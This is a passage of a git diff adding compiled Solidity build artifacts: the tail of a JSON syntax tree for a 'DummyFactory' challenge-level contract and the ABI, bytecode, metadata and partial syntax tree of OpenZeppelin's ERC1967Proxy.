8],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:475:74","nodes":[{"id":52097,"nodeType":"PragmaDirective","src":"32:23:74","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52098,"nodeType":"ImportDirective","src":"57:26:74","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":52146,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":52099,"nodeType":"ImportDirective","src":"84:21:74","nodes":[],"absolutePath":"src/levels/Dummy.sol","file":"./Dummy.sol","nameLocation":"-1:-1:-1","scope":52146,"sourceUnit":52096,"symbolAliases":[],"unitAlias":""},{"id":52145,"nodeType":"ContractDefinition","src":"107:399:74","nodes":[{"id":52120,"nodeType":"FunctionDefinition","src":"144:144:74","nodes":[],"body":{"id":52119,"nodeType":"Block","src":"227:61:74","nodes":[],"statements":[{"expression":{"id":52109,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52103,"src":"237:7:74","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52110,"nodeType":"ExpressionStatement","src":"237:7:74"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":52115,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"269:9:74","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Dummy_$52095_$","typeString":"function () returns (contract Dummy)"},"typeName":{"id":52114,"nodeType":"UserDefinedTypeName","pathNode":{"id":52113,"name":"Dummy","nameLocations":["273:5:74"],"nodeType":"IdentifierPath","referencedDeclaration":52095,"src":"273:5:74"},"referencedDeclaration":52095,"src":"273:5:74","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}}},"id":52116,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"269:11:74","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}],"id":52112,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"261:7:74","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52111,"name":"address","nodeType":"ElementaryTypeName","src":"261:7:74","typeDescriptions":{}}},"id":52117,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"261:20:74","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":52108,"id":52118,"nodeType":"Return","src":"254:27:74"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"153:14:74","overrides":{"id":52105,"nodeType":"OverrideSpecifier","overrides":[],"src":"200:8:74"},"parameters":{"id":52104,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52103,"mutability":"mutable","name":"_player","nameLocation":"176:7:74","nodeType":"VariableDeclaration","scope":52120,"src":"168:15:74","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52102,"name":"address","nodeType":"ElementaryTypeName","src":"168:7:74","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"167:17:74"},"returnParameters":{"id":52108,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52107,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52120,"src":"218:7:74","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52106,"name":"address","nodeType":"ElementaryTypeName","src":"218:7:74","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"217:9:74"},"scope":52145,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":52144,"nodeType":"FunctionDefinition","src":"294:210:74","nodes":[],"body":{"id":52143,"nodeType":"Block","src":"400:104:74","nodes":[],"statements":[{"expression":{"id":52130,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52124,"src":"410:7:74","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52131,"nodeType":"ExpressionStatement","src":"410:7:74"},{"assignments":[52134],"declarations":[{"constant":false,"id":52134,"mutability":"mutable","name":"instance","nameLocation":"433:8:74","nodeType":"VariableDeclaration","scope":52143,"src":"427:14:74","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"},"typeName":{"id":52133,"nodeType":"UserDefinedTypeName","pathNode":{"id":52132,"name":"Dummy","nameLocations":["427:5:74"],"nodeType":"IdentifierPath","referencedDeclaration":52095,"src":"427:5:74"},"referencedDeclaration":52095,"src":"427:5:74","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"visibility":"internal"}],"id":52138,"initialValue":{"arguments":[{"id":52136,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52122,"src":"450:9:74","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":52135,"name":"Dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52095,"src":"444:5:74","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Dummy_$52095_$","typeString":"type(contract Dummy)"}},"id":52137,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"444:16:74","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"nodeType":"VariableDeclarationStatement","src":"427:33:74"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":52139,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52134,"src":"477:8:74","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"id":52140,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"486:9:74","memberName":"completed","nodeType":"MemberAccess","referencedDeclaration":52084,"src":"477:18:74","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":52141,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"477:20:74","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":52129,"id":52142,"nodeType":"Return","src":"470:27:74"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"303:16:74","overrides":{"id":52126,"nodeType":"OverrideSpecifier","overrides":[],"src":"376:8:74"},"parameters":{"id":52125,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52122,"mutability":"mutable","name":"_instance","nameLocation":"336:9:74","nodeType":"VariableDeclaration","scope":52144,"src":"320:25:74","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":52121,"name":"address","nodeType":"ElementaryTypeName","src":"320:15:74","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":52124,"mutability":"mutable","name":"_player","nameLocation":"355:7:74","nodeType":"VariableDeclaration","scope":52144,"src":"347:15:74","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52123,"name":"address","nodeType":"ElementaryTypeName","src":"347:7:74","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"319:44:74"},"returnParameters":{"id":52129,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52128,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52144,"src":"394:4:74","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52127,"name":"bool","nodeType":"ElementaryTypeName","src":"394:4:74","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"393:6:74"},"scope":52145,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":52100,"name":"Level","nameLocations":["132:5:74"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"132:5:74"},"id":52101,"nodeType":"InheritanceSpecifier","src":"132:5:74"}],"canonicalName":"DummyFactory","contractDependencies":[52095],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52145,55508,46700,48281],"name":"DummyFactory","nameLocation":"116:12:74","scope":52146,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":74} \ No newline at end of file diff --git a/contracts/out/ERC1967Proxy.sol/ERC1967Proxy.json b/contracts/out/ERC1967Proxy.sol/ERC1967Proxy.json new file mode 100644 index 000000000..e9e8a18fc --- /dev/null +++ b/contracts/out/ERC1967Proxy.sol/ERC1967Proxy.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_logic","type":"address","internalType":"address"},{"name":"_data","type":"bytes","internalType":"bytes"}],"stateMutability":"payable"},{"type":"fallback","stateMutability":"payable"},{"type":"receive","stateMutability":"payable"},{"type":"event","name":"AdminChanged","inputs":[{"name":"previousAdmin","type":"address","indexed":false,"internalType":"address"},{"name":"newAdmin","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"BeaconUpgraded","inputs":[{"name":"beacon","type":"address","indexed":true,"internalType":"address"}],"anonymous":false},{"type":"event","name":"Upgraded","inputs":[{"name":"implementation","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x60806040526040516104c53803806104c5833981016040819052610022916102c6565b61002d82825f610034565b50506103db565b61003d8361005f565b5f825111806100495750805b1561005a57610058838361009e565b505b505050565b610068816100ca565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606100c3838360405180606001604052806027815260200161049e6027913961017d565b9392505050565b6001600160a01b0381163b61013c5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b0319166001600160a01b0392909216919091179055565b60606001600160a01b0384163b6101e55760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610133565b5f80856001600160a01b0316856040516101ff919061038e565b5f60405180830381855af49150503d805f8114610237576040519150601f19603f3d011682016040523d82523d5f602084013e61023c565b606091505b50909250905061024d828286610257565b9695505050505050565b606083156102665750816100c3565b8251156102765782518084602001fd5b8160405162461bcd60e51b815260040161013391906103a9565b634e487b7160e01b5f52604160045260245ffd5b5f5b838110156102be5781810151838201526020016102a6565b50505f910152565b5f80604083850312156102d7575f80fd5b82516001600160a01b03811681146102ed575f80fd5b60208401519092506001600160401b0380821115610309575f80fd5b818501915085601f83011261031c575f80fd5b81518181111561032e5761032e610290565b604051601f8201601f19908116603f0116810190838211818310171561035657610356610290565b8160405282815288602084870101111561036e575f80fd5b61037f8360208301602088016102a4565b80955050505050509250929050565b5f825161039f8184602087016102a4565b9190910192915050565b602081525f82518060208401526103c78160408501602087016102a4565b601f01601f19169190910160400192915050565b60b7806103e75f395ff3fe608060405236601057600e6013565b005b600e5b601f601b6021565b6064565b565b5f605f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b905090565b365f80375f80365f845af43d5f803e808015607d573d5ff35b3d5ffdfea2646970667358221220d4eea5917ceca30b2742b56438ccb31482a73819fd2333ddc5c0dc1d0644be2264736f6c63430008180033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564","sourceMap":"567:723:25:-:0;;;958:112;;;;;;;;;;;;;;;;;;:::i;:::-;1024:39;1042:6;1050:5;1057;1024:17;:39::i;:::-;958:112;;567:723;;2183:295:26;2321:29;2332:17;2321:10;:29::i;:::-;2378:1;2364:4;:11;:15;:28;;;;2383:9;2364:28;2360:112;;;2408:53;2437:17;2456:4;2408:28;:53::i;:::-;;2360:112;2183:295;;;:::o;1897:152::-;1963:37;1982:17;1963:18;:37::i;:::-;2015:27;;-1:-1:-1;;;;;2015:27:26;;;;;;;;1897:152;:::o;6570:198:33:-;6653:12;6684:77;6705:6;6713:4;6684:77;;;;;;;;;;;;;;;;;:20;:77::i;:::-;6677:84;6570:198;-1:-1:-1;;;6570:198:33:o;1532:259:26:-;-1:-1:-1;;;;;1465:19:33;;;1605:95:26;;;;-1:-1:-1;;;1605:95:26;;1671:2:155;1605:95:26;;;1653:21:155;1710:2;1690:18;;;1683:30;1749:34;1729:18;;;1722:62;-1:-1:-1;;;1800:18:155;;;1793:43;1853:19;;1605:95:26;;;;;;;;;1030:66;1710:74;;-1:-1:-1;;;;;;1710:74:26;-1:-1:-1;;;;;1710:74:26;;;;;;;;;;1532:259::o;6954:387:33:-;7095:12;-1:-1:-1;;;;;1465:19:33;;;7119:69;;;;-1:-1:-1;;;7119:69:33;;2085:2:155;7119:69:33;;;2067:21:155;2124:2;2104:18;;;2097:30;2163:34;2143:18;;;2136:62;-1:-1:-1;;;2214:18:155;;;2207:36;2260:19;;7119:69:33;1883:402:155;7119:69:33;7200:12;7214:23;7241:6;-1:-1:-1;;;;;7241:19:33;7261:4;7241:25;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7199:67:33;;-1:-1:-1;7199:67:33;-1:-1:-1;7283:51:33;7199:67;;7321:12;7283:16;:51::i;:::-;7276:58;6954:387;-1:-1:-1;;;;;;6954:387:33:o;7561:742::-;7707:12;7735:7;7731:566;;;-1:-1:-1;7765:10:33;7758:17;;7731:566;7876:17;;:21;7872:415;;8120:10;8114:17;8180:15;8167:10;8163:2;8159:19;8152:44;7872:415;8259:12;8252:20;;-1:-1:-1;;;8252:20:33;;;;;;;;:::i;14:127:155:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:250;231:1;241:113;255:6;252:1;249:13;241:113;;;331:11;;;325:18;312:11;;;305:39;277:2;270:10;241:113;;;-1:-1:-1;;388:1:155;370:16;;363:27;146:250::o;401:1063::-;489:6;497;550:2;538:9;529:7;525:23;521:32;518:52;;;566:1;563;556:12;518:52;592:16;;-1:-1:-1;;;;;637:31:155;;627:42;;617:70;;683:1;680;673:12;617:70;755:2;740:18;;734:25;706:5;;-1:-1:-1;;;;;;808:14:155;;;805:34;;;835:1;832;825:12;805:34;873:6;862:9;858:22;848:32;;918:7;911:4;907:2;903:13;899:27;889:55;;940:1;937;930:12;889:55;969:2;963:9;991:2;987;984:10;981:36;;;997:18;;:::i;:::-;1072:2;1066:9;1040:2;1126:13;;-1:-1:-1;;1122:22:155;;;1146:2;1118:31;1114:40;1102:53;;;1170:18;;;1190:22;;;1167:46;1164:72;;;1216:18;;:::i;:::-;1256:10;1252:2;1245:22;1291:2;1283:6;1276:18;1331:7;1326:2;1321;1317;1313:11;1309:20;1306:33;1303:53;;;1352:1;1349;1342:12;1303:53;1365:68;1430:2;1425;1417:6;1413:15;1408:2;1404;1400:11;1365:68;:::i;:::-;1452:6;1442:16;;;;;;;401:1063;;;;;:::o;2290:287::-;2419:3;2457:6;2451:13;2473:66;2532:6;2527:3;2520:4;2512:6;2508:17;2473:66;:::i;:::-;2555:16;;;;;2290:287;-1:-1:-1;;2290:287:155:o;2582:396::-;2731:2;2720:9;2713:21;2694:4;2763:6;2757:13;2806:6;2801:2;2790:9;2786:18;2779:34;2822:79;2894:6;2889:2;2878:9;2874:18;2869:2;2861:6;2857:15;2822:79;:::i;:::-;2962:2;2941:15;-1:-1:-1;;2937:29:155;2922:45;;;;2969:2;2918:54;;2582:396;-1:-1:-1;;2582:396:155:o;:::-;567:723:25;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405236601057600e6013565b005b600e5b601f601b6021565b6064565b565b5f605f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b905090565b365f80375f80365f845af43d5f803e808015607d573d5ff35b3d5ffdfea2646970667358221220d4eea5917ceca30b2742b56438ccb31482a73819fd2333ddc5c0dc1d0644be2264736f6c63430008180033","sourceMap":"567:723:25:-:0;;;;;;2898:11:27;:9;:11::i;:::-;567:723:25;;2675:11:27;2322:110;2397:28;2407:17;:15;:17::i;:::-;2397:9;:28::i;:::-;2322:110::o;1148:140:25:-;1215:12;1246:35;1030:66:26;1380:54;;;;1301:140;1246:35:25;1239:42;;1148:140;:::o;948:895:27:-;1286:14;1283:1;1280;1267:34;1500:1;1497;1481:14;1478:1;1462:14;1455:5;1442:60;1576:16;1573:1;1570;1555:38;1614:6;1681:66;;;;1796:16;1793:1;1786:27;1681:66;1716:16;1713:1;1706:27","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_logic\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"_data\",\"type\":\"bytes\"}],\"stateMutability\":\"payable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"previousAdmin\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"newAdmin\",\"type\":\"address\"}],\"name\":\"AdminChanged\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"beacon\",\"type\":\"address\"}],\"name\":\"BeaconUpgraded\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"implementation\",\"type\":\"address\"}],\"name\":\"Upgraded\",\"type\":\"event\"},{\"stateMutability\":\"payable\",\"type\":\"fallback\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"details\":\"This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an implementation address that can be changed. This address is stored in storage in the location specified by https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the implementation behind the proxy.\",\"events\":{\"AdminChanged(address,address)\":{\"details\":\"Emitted when the admin account has changed.\"},\"BeaconUpgraded(address)\":{\"details\":\"Emitted when the beacon is upgraded.\"},\"Upgraded(address)\":{\"details\":\"Emitted when the implementation is upgraded.\"}},\"kind\":\"dev\",\"methods\":{\"constructor\":{\"details\":\"Initializes the upgradeable proxy with an initial implementation specified by `_logic`. If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded function call, and allows initializing the storage of the proxy like a Solidity constructor.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":\"ERC1967Proxy\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_logic","type":"address"},{"internalType":"bytes","name":"_data","type":"bytes"}],"stateMutability":"payable","type":"constructor"},{"inputs":[{"internalType":"address","name":"previousAdmin","type":"address","indexed":false},{"internalType":"address","name":"newAdmin","type":"address","indexed":false}],"type":"event","name":"AdminChanged","anonymous":false},{"inputs":[{"internalType":"address","name":"beacon","type":"address","indexed":true}],"type":"event","name":"BeaconUpgraded","anonymous":false},{"inputs":[{"internalType":"address","name":"implementation","type":"address","indexed":true}],"type":"event","name":"Upgraded","anonymous":false},{"inputs":[],"stateMutability":"payable","type":"fallback"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{"constructor":{"details":"Initializes the upgradeable proxy with an initial implementation specified by `_logic`. If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded function call, and allows initializing the storage of the proxy like a Solidity constructor."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":"ERC1967Proxy"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol","id":46748,"exportedSymbols":{"Address":[48259],"ERC1967Proxy":[46747],"ERC1967Upgrade":[47065],"IBeacon":[47127],"IERC1822Proxiable":[46710],"Proxy":[47117],"StorageSlot":[48341]},"nodeType":"SourceUnit","src":"114:1177:25","nodes":[{"id":46712,"nodeType":"PragmaDirective","src":"114:23:25","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":46713,"nodeType":"ImportDirective","src":"139:22:25","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol","file":"../Proxy.sol","nameLocation":"-1:-1:-1","scope":46748,"sourceUnit":47118,"symbolAliases":[],"unitAlias":""},{"id":46714,"nodeType":"ImportDirective","src":"162:30:25","nodes":[],"absolutePath":